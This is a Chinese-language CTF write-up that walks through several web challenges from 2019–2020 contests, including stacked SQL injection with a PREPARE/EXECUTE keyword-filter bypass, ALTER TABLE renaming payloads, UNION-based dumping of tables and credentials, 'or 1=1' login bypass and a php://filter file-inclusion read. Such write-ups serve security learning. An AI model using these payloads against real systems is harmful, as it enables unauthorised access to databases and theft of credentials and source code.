[强网杯 2019]随便注
打开页面,进行提交,看下回显,url传参
![v2-a66f1b06cd4e7171f067ffc5d459c1a6_b.jpg](https://img-blog.csdnimg.cn/img_convert/1eec6c986cd36c5485b0841634fe0ffb.png)
![v2-315ffa667f618d96f444460eb4c0eb79_b.jpg](https://img-blog.csdnimg.cn/img_convert/af13a3a1069b376ce8dd145b6ddd37a2.png)
![v2-ba0efafec58cb9bc7f84c045c86ac85b_b.jpg](https://img-blog.csdnimg.cn/img_convert/1ceb57d3100963a42a97c898934a6bb1.png)
![v2-8f054961569af909011301697a3983fd_b.jpg](https://img-blog.csdnimg.cn/img_convert/aeeb7556adfb274e9837cc457d66f1eb.png)
就在我认为不过如此,这不就有手就行的时候。
当我测试了 大小写绕过,双写,/**/ /*!**/ ,sel<>ect,等多种方法,均绕不过。
![v2-e4e4c0b54412958df06775131cbf61f7_b.jpg](https://img-blog.csdnimg.cn/img_convert/3153631f77af7431fe29b495de0eae14.png)
因为
?inject=1 回显正常
?inject=1' 回显错误
?inject=1'#回显正常
尝试使用堆叠注入。 ------> 就是多条sql语句一起执行。以 ; 划分。
1';show databases;#
![v2-4366f23e24f9ecc5226472489253259e_b.jpg](https://img-blog.csdnimg.cn/img_convert/890ed4e54111f44d9e04146391374d6e.png)
1';use supersqli;#
1';show tables;#
![v2-5575d96df9ae3d7544e253e263ff9736_b.jpg](https://img-blog.csdnimg.cn/img_convert/bffcfa4e5dcd08053211c69d235e45aa.png)
1’;show columns from `1919810931114514`;#
重点: 如果表名是纯数字需要用反引号包裹,不然不会出现回显
![v2-19134c0b973ec8817cac95b56f529b0c_b.jpg](https://img-blog.csdnimg.cn/img_convert/a94748dfa480cf915be05437ba813ed3.png)
但最终查询flag还是需要用到select,。实在是技术太low。看了wp才明白。可以使用预编译的方式
1';set @flag = concat('sel','ect * from `1919810931114514`');prepare flag from @flag;execute flag;#
但是检测了关键词,不过strstr不过滤大小写。所以我们大写。
![v2-44663629d7e7a6707d8ce923967841d4_b.jpg](https://img-blog.csdnimg.cn/img_convert/782ae20600c128ecd965f5b930b574a5.png)
1';SET @flag = concat('sel','ect * from `1919810931114514`');PREPARE flag from @flag;execute flag;#
![v2-0e220d14e16e9c0c6c111364fa16466d_b.jpg](https://img-blog.csdnimg.cn/img_convert/76348e44abcada7857cfa75e9bb962fd.png)
关于这段是什么意思,首先堆叠注入。我们拆开看,
1'; 单引号闭合,;开始堆叠注入。
SET @flag = concat('sel','ect * from `1919810931114514`'); 设置一个变量=后面查询。
PREPARE flag from @flag; 预处理一个语句,,
execute flag;# 执行语句
其中变量名和 预处理的flag 均为自定义。
concat() 拼接字符,将’sel’ 和 ‘etc * from …’ 进行拼接。
方法二:
这种解法思路清晰,间接明了。
思路,通过堆叠注入,我们可以看到以下信息,表名words 下的列名
当我们使用1’ or 1=1#的时候,他会爆出words下所有内容。
但不会爆出存放着flag的表的内容。
那我们将1919810931114514 修改为words名,
然后将列名flag修改为id。
再使用1’ or 1=1# 的话,flag不就出来了。
但肯定不能有两个一样的表名。所以我们先将words修改为其他名字。
基本sql语句。
alter table words rename to xxx; 修改words名
alter table `1919810931114514` rename to words; 将1919…修改为words
alter table users change flag id varchar(50); 将flag 改为id
最终生成payload
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
1’or 1=1#
![v2-4031de7f62947e031b9655b8c7550ef4_b.jpg](https://img-blog.csdnimg.cn/img_convert/9b9851922b141a8bd65e0e6c23f9e21d.png)
![v2-2f1e844283b4047dc5dfcde06c554eb8_b.jpg](https://img-blog.csdnimg.cn/img_convert/36e2d5e452b775c6efce85dabbf325f4.png)
[极客大挑战 2019]EasySQL
看着这个页面,看看上面那个简陋的,,这道题给我的感觉就是高大上,绝对不Easy。
尝试单引号,,尝试下 or 1=1 # ,
下面发生的事情才是令我震惊的。
![v2-571508c7b241d0b47bab682a7eb2e777_b.jpg](https://img-blog.csdnimg.cn/img_convert/5971cde4ad6a4e604c77b69b4f69da01.png)
就这么出来了。。flag。。我怕是假的,还去提交了, 没想到是真的竟然。
![v2-a93e8fe40b99597f9adccccf23091bc6_b.jpg](https://img-blog.csdnimg.cn/img_convert/7a1e85795702e3755eae4eb99dc4b3e8.png)
[SUCTF 2019]EasySQL
这题刚打开,随手输了几个数字,一开始以为是盲注,因为它不报错,只有3种回显,
![v2-f080fda8c74926fbc288bba9d1c8ab68_b.jpg](https://img-blog.csdnimg.cn/img_convert/7c7756c3da0e6b8f7310fffa4d1f467e.png)
做sql注入重点在于它的查询语句是什么,如果我们知道了他的查询语句,那么就可以做出对应的payload。
而这一题,我输入除了0以外的任何数字,他的返回结果都只有一个。
那么他的查询语句有可能是这样子,(语法不对,意思到了)
表名通过堆叠注入获得。技术有限,仅查到了表名。
select POST[‘$query’],flag from Flag;
如果是这样,我们想让他查出flag的话,
可以让他select * 。
即select *,1 from 234 where array = 0;
payload: *,1
![v2-2060e79acd0aa2ff91b9e1a0b19e90a0_b.jpg](https://img-blog.csdnimg.cn/img_convert/34bf0ad467a814fcc37b4a5de05be47e.png)
这题最让我不解的就是,网上的大佬,竟然可以直接猜出他的sql查询语句是这样子的。
" s e l e c t " . sql = "select ".sql="select".post[‘query’]."||flag from Flag";
[极客大挑战 2019]Havefun
打开题目,啥也没有,先查看源代码,在最后发现这个
![v2-90e8889ce3b5e94d4b7263a4b5bc434f_b.jpg](https://img-blog.csdnimg.cn/img_convert/5236c340fd770283d82ce1ad0a700c2b.png)
简单明了,我们直接payload:
?cat=dog
![v2-a2a9f173bf9fa229d6765244335bb1a2_b.jpg](https://img-blog.csdnimg.cn/img_convert/83a67fbf21a70f14b7211ed376e3f5fb.png)
![v2-08d6579427c8495cfe5a035c5efd573a_b.jpg](https://img-blog.csdnimg.cn/img_convert/d434cdb950c7b269480053a4c61694d1.png)
[极客大挑战 2019]Secret File
打开题目,啥也没有,查看源代码,发现./Archive_room.php,打开
![v2-5e6121374c5839fdb28fa03ad7572c48_b.jpg](https://img-blog.csdnimg.cn/img_convert/0be1a81715463973f8b42e7936d78e02.png)
![v2-d6ee4e5b39eab8773843f3d80374e961_b.jpg](https://img-blog.csdnimg.cn/img_convert/e7b89a1faa306970ec1d12e19ede2a31.png)
点击SECRET 出现下面这个
![v2-85685c711e24b6cc72c48946493d4821_b.jpg](https://img-blog.csdnimg.cn/img_convert/e72ca3ad1bbc582c09563384d9c510bc.png)
很明显,有东西一闪而过,直接burp进行抓包。,然后打开secr3t.php
![v2-83af2fc044c60a1b5b84ce2f43e2206b_b.jpg](https://img-blog.csdnimg.cn/img_convert/193010c3b469ad2356dd330541d0ea58.png)
文件包含,过滤../ tp input data ,最经典的,base64读源码
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
![v2-fd3b4244211b2cc51f69a28ce015613b_b.jpg](https://img-blog.csdnimg.cn/img_convert/f6950ce87b14a617bb8ae1fd4bbcff26.png)
解码得到flag
![v2-397e12b7dd6a801657bdb8b83430d63a_b.jpg](https://img-blog.csdnimg.cn/img_convert/7a7bc3ef0efc47fb1f2920e71fc3f0a4.png)
![v2-a14ad81e188389dd90b15ce25eeeb72e_b.jpg](https://img-blog.csdnimg.cn/img_convert/5f2bdf269893988ed8cea89e8645574e.png)
[ACTF2020 新生赛]Include
打开题目,有个链接,,打开
![v2-089f375c80eff73e51316237258d4171_b.jpg](https://img-blog.csdnimg.cn/img_convert/001644046292387ad89ebbb20d65be10.png)
![v2-00101545c06bf38f7c59abcb690a6e71_b.jpg](https://img-blog.csdnimg.cn/img_convert/0e24e23423ca5c12431f95a36110b789.png)
直接base64读源码,文件包含,懂得都懂。
![v2-458544730dedfcd5b74378b141798dce_b.jpg](https://img-blog.csdnimg.cn/img_convert/584587bc56defced68fdf0271ef4283c.png)
[极客大挑战 2019]LoveSQL
多么熟悉的登录框,直接 1’ or 1=1 #
![v2-f5edeb3f9891bea28bb823e2d26754b2_b.jpg](https://img-blog.csdnimg.cn/img_convert/5baa8286c0cc24a6196a1dbe2beacd98.png)
出金了。账号admin ,密码,,我一看直接md5 不对。然后尝试登陆。 发现他的密码真是这个。。
![v2-a0b298183e01102750cea5797a57d3b6_b.jpg](https://img-blog.csdnimg.cn/img_convert/6925294a5f3d7528faa3632f910afd00.png)
进行注入 order by 3 回显
?username=1&password=1%27+order+by+3%23
![v2-66799ae5b8e39cab94c877191f9b6758_b.jpg](https://img-blog.csdnimg.cn/img_convert/6fc73f8845706ebdca3278c933427749.png)
order by 4 回显这个。证明3列。直接查数据库,查表名,列名。数据。一套走下来就行了
![v2-6034f25e10934c059d606555d336052b_b.jpg](https://img-blog.csdnimg.cn/img_convert/38a4b9d9e754f8e8e5abb02a988e7998.png)
-1' union select 1,2,3#
![v2-9ece7f4e47a2d7c0f07b31e7c0569010_b.jpg](https://img-blog.csdnimg.cn/img_convert/f50794a9c0d7d4fd14f11d9bb91ee548.png)
-1' union select 1,version(),database()#
![v2-a2fc110de4929a01986848e70c00a9f8_b.jpg](https://img-blog.csdnimg.cn/img_convert/63c4ac78a06c8b50c0e20164a4861fa4.png)
-1' union select 1,2,group_concat(table_name,'---') from information_schema.tables where table_schema='geek'#
![v2-975a450f89514e5b7a86a5310f9c3a52_b.jpg](https://img-blog.csdnimg.cn/img_convert/b1a6860237c8437b299c132c381d3b2e.png)
-1' union select 1,2,group_concat(column_name,'---') from information_schema.columns where table_name='l0ve1ysq1'#
看重列名好像没有flag,两个表名都是同样内容,猜测flag在数据中,继续读取。
![v2-d42807a3ac8fc7e30c91d657491069c0_b.jpg](https://img-blog.csdnimg.cn/img_convert/080e6ee513250848b0a0b1cba688c1d8.png)
-1' union select 1,2,group_concat(id,'---',username,'---',password) from l0ve1ysq1#
读到flag
![v2-e8fc58ab6d61f6580dd9b78fa42372da_b.jpg](https://img-blog.csdnimg.cn/img_convert/8b3e0d5a3179a671b23ab10c7cc1dace.png)